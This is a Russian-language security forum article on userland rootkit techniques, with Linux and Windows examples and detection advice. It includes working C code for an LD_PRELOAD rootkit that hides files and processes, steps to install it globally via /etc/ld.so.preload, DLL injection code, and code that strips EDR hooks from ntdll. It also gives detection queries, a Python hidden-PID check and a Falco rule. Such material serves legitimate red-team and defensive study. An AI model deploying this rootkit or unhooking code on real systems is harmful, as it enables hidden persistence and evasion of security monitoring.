Когда речь заходит о руткитах, большинство аналитиков первым делом лезут в kernel-mode - LKM-модули, патчинг syscall table, DKOM. Но в реальных red team-кампаниях и при разборе инцидентов я раз за разом вижу одну и ту-же картину: атакующий не лезет в Ring 0. Ему хватает Ring 3. Userland rootkit техники сокрытия позволяют спрятать процессы, файлы, сетевые соединения и бэкдоры без единой строки кода в ядре - и при этом обойти антируткиты, работающие в том же пространстве пользователя. Разберу четыре подхода, покажу рабочий код и объясню, где каждая техника ломается под взглядом защитника.
Руткит без привилегий ядра: почему это работает
Классическое деление на user space и kernel space определяет всё. Ядро управляет железом и предоставляет системные вызовы, а пользовательские процессы работают с ограниченными привилегиями, изолированные друг от друга через виртуальную память. Руткит уровня ядра модифицирует внутренние структуры ОС, а руткит без привилегий ядра перехватывает то, что происходит до системного вызова - на уровне libc, ntdll.dll или пользовательских библиотек.По классификации MITRE ATT&CK это техника Rootkit (T1014, Defense Evasion; описана для Linux, Windows и macOS, хотя публичные тесты Atomic Red Team есть преимущественно для Linux). Конкретные механизмы доставки и перехвата маппятся на целый набор дополнительных техник: Dynamic Linker Hijacking (T1574.006, Linux/macOS), Dynamic-link Library Injection (T1055.001, Windows), Process Injection (T1055, описана для Windows, Linux и macOS, хотя публичные тесты Atomic Red Team - только для Windows), Credential API Hooking (T1056.004, Windows) и Native API (T1106, Windows).
Почему атакующие выбирают userland вместо kernel? Три причины:
- Kernel panic убивает сервер и моментально привлекает внимание. Ошибка в userland-руткките - просто крэш процесса, который можно тихо перезапустить
- Secure Boot, module signing, SELinux усложняют загрузку LKM. В userland этих барьеров нет
- Userland-руткит проще адаптировать между версиями ОС - не нужно подгонять под конкретную сборку ядра
strip --strip-all может снизить детект движков, которые опираются на метаданные ELF. Но не стоит обольщаться - современные AV-движки на VirusTotal используют fuzzy hashing, YARA-правила по содержимому, эмуляцию и ML-модели, которые устойчивы к таким тривиальным модификациям. Эффективность обхода сильно зависит от конкретного образца и набора движков.LD_PRELOAD rootkit Linux: перехват через динамический линкер
Фундаментальная техника, с которой начинается каждый userland rootkit на Linux. Маппится на
Ссылка скрыта от гостей
(T1574.006, Persistence / Privilege Escalation / Defense Evasion; применима к Linux и macOS).Механика: переменная среды и /etc/ld.so.preload
Когда динамический линкер (ld-linux-x86-64.so.2) загружает ELF-бинарь, он проверяет две вещи: переменную окружения LD_PRELOAD и файл /etc/ld.so.preload. Библиотеки, указанные в них, загружаются раньше всех остальных. Если в такой библиотеке есть функция с тем же именем, что и в libc - она перекроет оригинал. Простой и наглый приём.Два вектора активации:
| Вектор | Область действия | Нужен root | Персистентность |
|---|---|---|---|
LD_PRELOAD=./evil.so ./target | Один процесс | Нет | Нет |
Запись в /etc/ld.so.preload | Все процессы в системе | Да | Да, переживает ребут |
Для руткита интересен именно второй - глобальная инъекция. Каждый динамически слинкованный бинарь на системе будет загружать вашу библиотеку. Красота.
Практика: скрываем процесс и файл
Утилитаls использует readdir() из libc для получения списка файлов. Проверяем через ltrace:
Bash:
ltrace ls 2>&1 | grep -E "opendir|readdir|closedir"
# opendir(".") = 0x55de4a72e9d0
# readdir(0x55de4a72e9d0) = 0x55de4a72ea00
# readdir(0x55de4a72e9d0) = 0x55de4a72ea18
# closedir(0x55de4a72e9d0) = 0
readdir() и фильтруем записи по имени. Через dlsym(RTLD_NEXT, "readdir") получаем указатель на оригинальную функцию в libc, чтобы вернуть корректный результат для всего остального:
C:
#define _GNU_SOURCE
#include <dlfcn.h>
#include <dirent.h>
#include <string.h>
#define HIDE_PREFIX "rootkit"
static struct dirent* (*real_readdir)(DIR *) = NULL;
struct dirent *readdir(DIR *dirp) {
if (!real_readdir)
real_readdir = dlsym(RTLD_NEXT, "readdir");
struct dirent *entry;
do {
entry = real_readdir(dirp);
} while (entry && strstr(entry->d_name, HIDE_PREFIX));
return entry;
}
Bash:
gcc -Wall -fPIC -shared -o rootkit.so rkit.c -ldl
ls -la
# видим rootkit.so
LD_PRELOAD=./rootkit.so ls -la
# rootkit.so отсутствует в выводе
readdir(), но уже при чтении /proc - утилита ps итерирует директории /proc/[pid]. Если d_name совпадает с PID целевого процесса, запись пропускается. Проект libprocesshider делает ровно это.Для глобальной персистентности:
Bash:
# От root
cp rootkit.so /usr/lib/rootkit.so
echo "/usr/lib/rootkit.so" > /etc/ld.so.preload
ls, ps, netstat на системе загрузит вашу библиотеку. Тотальная подмена реальности для userland.Обнаружение LD_PRELOAD rootkit
По данным Elastic Security Labs, эффективный детект строится на мониторинге нескольких точек.Создание новых .so файлов в подозрительных директориях:
Код:
file where event.action == "creation" and
(file.extension like~ "so" or file.name like~ "*.so.*")
Код:
file where event.action in ("creation", "rename") and
file.path like ("/etc/ld.so.preload", "/etc/ld.so.conf", "/etc/ld.so.conf.d/*")
Но тут есть фундаментальная проблема, и о ней стоит знать. Исследование arxiv (2506.07827v1) демонстрирует, что
Ссылка скрыта от гостей
. Руткит может перехватить функции самого антируткита - unhide, OSSEC и подобных. Авторы показали несколько техник обхода: hooking функций антируткита, подмену shell, манипуляции с namespace и перехват через ptrace. Вывод неутешительный: для надёжного обнаружения нужен trusted source вне userspace - ядро, гипервизор или аппаратный уровень.DLL injection техники Windows: внедрение в чужой процесс
На Windows userland rootkit чаще всего реализуется через DLL injection - внедрение своей библиотеки в адресное пространство целевого процесса. Техника Dynamic-link Library Injection (T1055.001, Defense Evasion / Privilege Escalation).CreateRemoteThread и классическая инъекция
Стандартная цепочка, которую я гоняю в лабораторных средах и которая лежит в основе большинства публичных инструментов:OpenProcess()- получаем хэндл целевого процесса с правамиPROCESS_ALL_ACCESSVirtualAllocEx()- выделяем память в целевом процессеWriteProcessMemory()- записываем полный путь к DLLCreateRemoteThread()- создаём поток с точкой входаLoadLibraryA
C:
// Классика жанра - DLL injection через CreateRemoteThread
HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, targetPID);
LPVOID pRemote = VirtualAllocEx(hProc, NULL, MAX_PATH,
MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
WriteProcessMemory(hProc, pRemote, dllPath, strlen(dllPath) + 1, NULL);
HMODULE hKernel32 = GetModuleHandleA("kernel32.dll");
FARPROC pLoadLib = GetProcAddress(hKernel32, "LoadLibraryA");
CreateRemoteThread(hProc, NULL, 0,
(LPTHREAD_START_ROUTINE)pLoadLib, pRemote, 0, NULL);
kernel32!LoadLibraryA. В Process Hacker - новый модуль в списке загруженных DLL. Палится на раз, но для понимания механики - то что надо.Альтернативные методы DLL injection:
| Метод | API | Детектируемость |
|---|---|---|
| CreateRemoteThread | OpenProcess + WriteProcessMemory + CreateRemoteThread | Высокая - мониторится всеми EDR |
| SetWindowsHookEx | SetWindowsHookEx(WH_CBT, ...) | Средняя - легитимное применение |
| QueueUserAPC | QueueUserAPC + NtAlertResumeThread | Средняя - менее мониторится |
| NtCreateSection + NtMapViewOfSection | Ntdll native API | Низкая - обход userland хуков |
Лично я на проектах чаще вижу последний вариант - через native API. CreateRemoteThread в 2025 году - это как зайти в банк в маске из фильма «Крик». Работает, но камеры всё видят.
Reflective DLL injection
Классическая инъекция оставляет DLL на диске и регистрирует её в списке модулей процесса. Reflective DLL injection (техника Stefan Fewer) загружает библиотеку из памяти: DLL содержит собственный загрузчик (ReflectiveLoader), который парсит PE-заголовки, разрешает импорты и вызывает DllMain - без участия Windows Loader. При корректной реализации reflective loader не регистрирует модуль вPEB->Ldr->InLoadOrderModuleList, хотя некоторые кривые реализации могут оставлять следы в списках загруженных модулей.Cobalt Strike активно использует этот подход для post-exploitation. По данным практического тестирования Advania, даже при загрузке EDR-библиотек в целевой процесс, reflective DLL injection через Cobalt Strike позволял обойти инспекцию - инжектор не вызывал «опасные» API напрямую.
Обнаружение DLL injection
Что видно в EDR:- Вызовы
OpenProcessсPROCESS_ALL_ACCESSк чужому процессу - без истинной причины это аномалия WriteProcessMemoryв адресное пространство другого процесса- Регионы памяти с правами RWX (Read-Write-Execute) - проверяется в Process Hacker через Memory → Properties
- Для классической инъекции: поток, стартующий с
LoadLibraryA/LoadLibraryWс аргументом, указывающим на неизвестную DLL - Для reflective injection / shellcode: поток, стартующий с адреса, не принадлежащего ни одному загруженному модулю
IAT hooking и EAT hooking: перехват через таблицы PE-файла
Когда DLL уже загружена в целевой процесс (или руткит работает в контексте своего), следующий шаг - перехват конкретных API-вызовов. IAT hooking - одна из старейших и самых прозрачных техник. В MITRE ATT&CK hooking с целью сокрытия маппится на T1014 (Rootkit). Для перехвата учётных данных применима T1056.004 (
Ссылка скрыта от гостей
). T1055 (Process Injection) относится к этапу внедрения кода в чужой процесс (например, DLL injection), а не к самому hooking таблиц внутри уже скомпрометированного процесса.Как работает IAT hooking
Каждый PE-файл содержит Import Address Table - таблицу с адресами импортированных функций. При загрузке Windows Loader разрешает имена функций в реальные адреса и записывает их в IAT. Когда программа вызывает, скажем,CreateFileW, она на самом деле делает indirect call через указатель в IAT.IAT hooking подменяет адрес в этой таблице на адрес вашей функции-перехватчика:
C:
// IAT hooking - подмена адреса в таблице импорта
#include <windows.h>
#include <dbghelp.h>
// Находим IAT-запись для целевой функции
PIMAGE_IMPORT_DESCRIPTOR pImportDesc = /* ... парсинг PE-заголовков ... */;
// Проходим по IMAGE_THUNK_DATA
PIMAGE_THUNK_DATA pThunk = /* ... */;
for (; pThunk->u1.Function; pThunk++) {
FARPROC *pFunc = (FARPROC *)&pThunk->u1.Function;
if (*pFunc == pOriginalFunction) {
DWORD oldProtect;
VirtualProtect(pFunc, sizeof(FARPROC), PAGE_READWRITE, &oldProtect);
*pFunc = (FARPROC)pHookFunction; // подмена адреса
VirtualProtect(pFunc, sizeof(FARPROC), oldProtect, &oldProtect);
break;
}
}
EAT hooking техники
Export Address Table - зеркальная сторона медали. EAT находится в DLL, которая экспортирует функции (kernel32.dll, ntdll.dll). Если модифицировать адрес в EAT, то все модули в текущем процессе, которые впоследствии разрешат эту функцию черезGetProcAddress, получат адрес хука.Разница критична:
| Характеристика | IAT hooking | EAT hooking |
|---|---|---|
| Что модифицируется | Таблица импорта целевого PE | Таблица экспорта DLL-источника |
| Область действия | Один модуль в одном процессе | Все будущие резолвы через GetProcAddress в том же процессе |
| Сложность реализации | Средняя | Высокая - нужно парсить экспорты DLL |
| Обнаружение | Сравнение IAT с реальными адресами | Сравнение EAT на диске и в памяти |
Детект IAT/EAT hooking
Инструменты вроде API Monitor и Telemetry Sourcerer сравнивают первые байты инструкций функций в памяти с «чистой» версией из DLL на диске. Если первая инструкцияNtOpenProcess - это jmp куда-то вместо стандартного пролога (mov r10, rcx; mov eax, SSN), перед нами хук. Тот же принцип используют EDR для мониторинга - и атакующие для обхода. Ирония в том, что техника одна и та-же, разница только в том, кто её применяет.Inline hooking и перехват системных вызовов userland
Inline hooking (он же API hooking через патчинг пролога) - самая прямолинейная техника. Вместо изменения таблиц вы перезаписываете первые байты целевой функции наjmp к своему обработчику. Грубо, зато надёжно.Перезапись пролога функции
Стандартный пролог функцииNtCreateFile в ntdll.dll на x64:
Код:
mov r10, rcx
mov eax, 0x55 ; номер syscall
syscall
ret
Код:
jmp 0xDEADBEEF ; прыжок на функцию-перехватчик
nop
nop
EDR используют тот же механизм - ставят inline hooks на функции ntdll.dll (NtOpenProcess, NtCreateThread, NtCreateUserProcess) для мониторинга поведения. Различие между «хук EDR» и «хук малвари» - только в том, кто поставил первым.
Обход EDR через unhooking
По данным практического тестирования Advania, существует несколько техник обхода userland API hooking EDR:Full DLL Unhooking - полное восстановление DLL. Загружаем свежую копию ntdll.dll с диска, сравниваем секцию .text с той, что в памяти, и перезаписываем хуки оригинальными байтами:
C:
// Full DLL Unhooking - снимаем хуки EDR с ntdll.dll
// 1. Загружаем чистую ntdll.dll с диска
HANDLE hFile = CreateFileA("C:\\Windows\\System32\\ntdll.dll",
GENERIC_READ, FILE_SHARE_READ, NULL,
OPEN_EXISTING, 0, NULL);
// 2. Маппим в память
HANDLE hMapping = CreateFileMapping(hFile, NULL, PAGE_READONLY, 0, 0, NULL);
LPVOID pClean = MapViewOfFile(hMapping, FILE_MAP_READ, 0, 0, 0);
// 3. Получаем базовый адрес хукнутой ntdll в памяти
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
PIMAGE_DOS_HEADER pDos = (PIMAGE_DOS_HEADER)hNtdll;
PIMAGE_NT_HEADERS pNt = (PIMAGE_NT_HEADERS)((BYTE*)hNtdll + pDos->e_lfanew);
PIMAGE_SECTION_HEADER pSection = IMAGE_FIRST_SECTION(pNt);
for (int i = 0; i < pNt->FileHeader.NumberOfSections; i++, pSection++) {
if (memcmp(pSection->Name, ".text", 5) == 0) {
LPVOID pHookedText = (LPVOID)((BYTE*)hNtdll + pSection->VirtualAddress);
// Аналогично парсим .text в чистой копии pClean
PIMAGE_DOS_HEADER pCleanDos = (PIMAGE_DOS_HEADER)pClean;
PIMAGE_NT_HEADERS pCleanNt = (PIMAGE_NT_HEADERS)((BYTE*)pClean + pCleanDos->e_lfanew);
PIMAGE_SECTION_HEADER pCleanSec = IMAGE_FIRST_SECTION(pCleanNt);
LPVOID pCleanText = (LPVOID)((BYTE*)pClean + pCleanSec->PointerToRawData);
DWORD textSize = pSection->Misc.VirtualSize;
DWORD oldProtect;
VirtualProtect(pHookedText, textSize, PAGE_EXECUTE_READWRITE, &oldProtect);
memcpy(pHookedText, pCleanText, textSize);
VirtualProtect(pHookedText, textSize, oldProtect, &oldProtect);
break;
}
}
syscall напрямую с нужным номером SSN. SysWhispers и D/Invoke построены на этом принципе. По сути, мы просто обходим ntdll стороной.Менее мониторимые API. Не все функции захукены. Advania обнаружила, что
CreateThreadpoolWait не перехватывалась EDR, в то время как NtOpenProcess был захукен. Использование менее популярных API - простейший способ обхода, и он работает чаще, чем хотелось бы защитникам.Сравнение userland rootkit техник
| Техника | ОС | MITRE ATT&CK | Требует root/admin | Персистентность | Сложность детекта |
|---|---|---|---|---|---|
| LD_PRELOAD (env var) | Linux | T1574.006 | Нет | Нет | Низкая |
| /etc/ld.so.preload | Linux | T1574.006 | Да | Да | Средняя |
| CreateRemoteThread DLL injection | Windows | T1055.001 | Зависит от цели (тот же пользователь - нет; чужой/elevated - да) | Нет | Средняя |
| Reflective DLL injection | Windows | T1055.001 | Зависит от цели (тот же пользователь - нет; чужой/elevated - да) | Нет | Высокая |
| IAT hooking | Windows | T1014 / T1056.004 | В контексте процесса | Нет | Низкая |
| EAT hooking | Windows | T1014 / T1056.004 | В контексте процесса | Нет | Средняя |
| Inline hooking | Windows/Linux | T1014 / T1056.004 | В контексте процесса | Нет | Средняя |
Практический блок: полный цикл LD_PRELOAD rootkit
🔓 Эксклюзивный контент для зарегистрированных пользователей.
Собираем минимальный руткит, скрывающий файл и процесс одновременно. Потом - проверяем, что его ловит, а что нет.
Шаг 1: пишем библиотеку-перехватчик
C:
// rootkit.c - скрывает файлы и процессы по префиксу
#define _GNU_SOURCE
#include <dlfcn.h>
#include <dirent.h>
#include <string.h>
#include <stdlib.h>
#include <stdio.h>
#define HIDE_NAME "evil_backdoor"
static struct dirent* (*orig_readdir)(DIR *) = NULL;
static struct dirent64* (*orig_readdir64)(DIR *) = NULL;
// Перехват readdir - используется ls, find
struct dirent *readdir(DIR *dirp) {
if (!orig_readdir)
orig_readdir = dlsym(RTLD_NEXT, "readdir");
struct dirent *entry;
do {
entry = orig_readdir(dirp);
} while (entry && strstr(entry->d_name, HIDE_NAME));
return entry;
}
// Перехват readdir64 - некоторые утилиты используют 64-битную версию
struct dirent64 *readdir64(DIR *dirp) {
if (!orig_readdir64)
orig_readdir64 = dlsym(RTLD_NEXT, "readdir64");
struct dirent64 *entry;
do {
entry = orig_readdir64(dirp);
} while (entry && strstr(entry->d_name, HIDE_NAME));
return entry;
}
Шаг 2: компилируем и устанавливаем
Bash:
gcc -Wall -fPIC -shared -o evil_backdoor.so rootkit.c -ldl
# Проверка в рамках одного процесса
touch evil_backdoor_payload.sh
ls
# evil_backdoor_payload.sh evil_backdoor.so rootkit.c
LD_PRELOAD=./evil_backdoor.so ls
# rootkit.c
# Глобальная установка (нужен root)
sudo cp evil_backdoor.so /usr/lib/
sudo sh -c 'echo "/usr/lib/evil_backdoor.so" > /etc/ld.so.preload'
# Теперь любой ls, find, ps не увидит файлы и процессы с "evil_backdoor"
# ПРИМЕЧАНИЕ: readdir hooking скрывает только имена в листинге директорий.
# Для полноценного сокрытия руткит должен также перехватывать open()/read()
# для маскировки содержимого /etc/ld.so.preload, либо скрывать сам файл
# через перехват stat()/access().
Шаг 3: проверяем детект
Что обнаружит руткит:
Bash:
# 1. Прямой вызов getdents64 через syscall (обходит libc)
python3 -c "
import os, ctypes, struct
SYS_getdents64 = 217 # x86_64 only; ARM64=61, i386=220. См. /usr/include/asm/unistd.h
# ВАЖНО: ctypes.CDLL(None).syscall() вызывает syscall напрямую через libc-обёртку,
# минуя readdir(). Если руткит перехватывает также syscall() из libc - используйте
# статически слинкованный бинарь.
libc = ctypes.CDLL(None)
fd = os.open('/proc', os.O_RDONLY | os.O_DIRECTORY)
buf = ctypes.create_string_buffer(4096)
n = libc.syscall(SYS_getdents64, fd, buf, 4096)
offset = 0
syscall_pids = set()
while offset < n:
d_reclen = struct.unpack_from('H', buf, offset + 16)[0]
name = ctypes.string_at(ctypes.addressof(buf) + offset + 19).decode()
if name.isdigit():
syscall_pids.add(name)
offset += d_reclen
os.close(fd)
readdir_pids = {e for e in os.listdir('/proc') if e.isdigit()}
hidden = syscall_pids - readdir_pids
if hidden:
print(f'Hidden PIDs (possible rootkit): {hidden}')
else:
print('No hidden PIDs detected')
"
# 2. Проверка /etc/ld.so.preload - файл не должен существовать
cat /etc/ld.so.preload
# /usr/lib/evil_backdoor.so <- подозрительно
# 3. strace ls - покажет реальные записи из ядра
strace ls 2>&1 | grep getdents
# getdents64 вернёт ВСЕ файлы, включая скрытые
# 4. Статически слинкованный ls не загружает .so
# ВАЖНО: сначала убедитесь, что busybox статически слинкован!
# file $(which busybox) | grep -q 'statically linked' && echo 'Safe' || echo 'WARNING: dynamically linked!'
# В Ubuntu/Debian штатный busybox слинкован ДИНАМИЧЕСКИ - используйте пакет busybox-static
# или скачайте статический бинарь с busybox.net для forensic-целей
busybox ls
# evil_backdoor_payload.sh evil_backdoor.so rootkit.c
strace и статически скомпилированные бинари - друзья защитника. Руткит перехватывает libc-обёртки, но не может подменить ответ ядра на getdents64. Тут-то и проходит граница между Ring 3 и Ring 0. Но исследование из arxiv (2506.07827v1) показывает: продвинутый руткит может перехватывать функции самого антируткита через ptrace() или манипуляции с namespace, делая обнаружение из userspace ненадёжным. Гонка вооружений, как обычно.
Userspace rootkit обнаружение: рекомендации для SOC
На основе данных Elastic Security Labs и академических исследований, рабочий подход к обнаружению userland rootkit строится на нескольких уровнях.Мониторинг динамического линкера - отслеживание создания и модификации
/etc/ld.so.preload, /etc/ld.so.conf, файлов в /etc/ld.so.conf.d/. Цепочка «создан .so файл + модифицирован ld.so.preload» на одном хосте - повод для немедленного расследования. Если у вас это не в алертах - добавьте прямо сейчас.Сравнение userland vs kernel - антируткит unhide сравнивает список PID из
/proc (через readdir) со списком из brute-force перебора. Расхождение означает скрытый процесс. Но как показано выше, даже unhide можно обмануть из userland.Целостность DLL/SO в памяти - сравнение загруженных в память библиотек с их дисковыми копиями. Расхождение в секции
.text = inline hook.Kernel-level телеметрия - eBPF-программы мониторинга (Falco, Tetragon) видят системные вызовы напрямую, без прослойки libc. Правило для обнаружения подозрительной загрузки:
YAML:
- rule: Modification of ld.so.preload
desc: Potential userland rootkit installation
condition: >
open_write and fd.name = "/etc/ld.so.preload"
output: "ld.so.preload modified (user=%user.name command=%proc.cmdline)"
priority: CRITICAL
Заключение
Userland rootkit техники сокрытия - не «упрощённая версия» kernel rootkit. Это отдельный класс угроз со своим зоопарком: LD_PRELOAD на Linux, DLL injection и IAT/EAT hooking на Windows, inline hooking на обеих платформах. У каждой техники свой баланс между сложностью реализации и детектируемостью. Для атакующего главное преимущество userland - стабильность и низкий порог входа. Для защитника - понимание, что любой инструмент, работающий в Ring 3, может быть обманут.Настоящий детект начинается там, где userland заканчивается: в ядре, в гипервизоре, в аппаратной телеметрии. Если ваш SOC полагается только на userland-агенты - попробуйте прогнать LD_PRELOAD-руткит из практического блока на тестовом хосте. Результат может неприятно удивить.
Последнее редактирование модератором: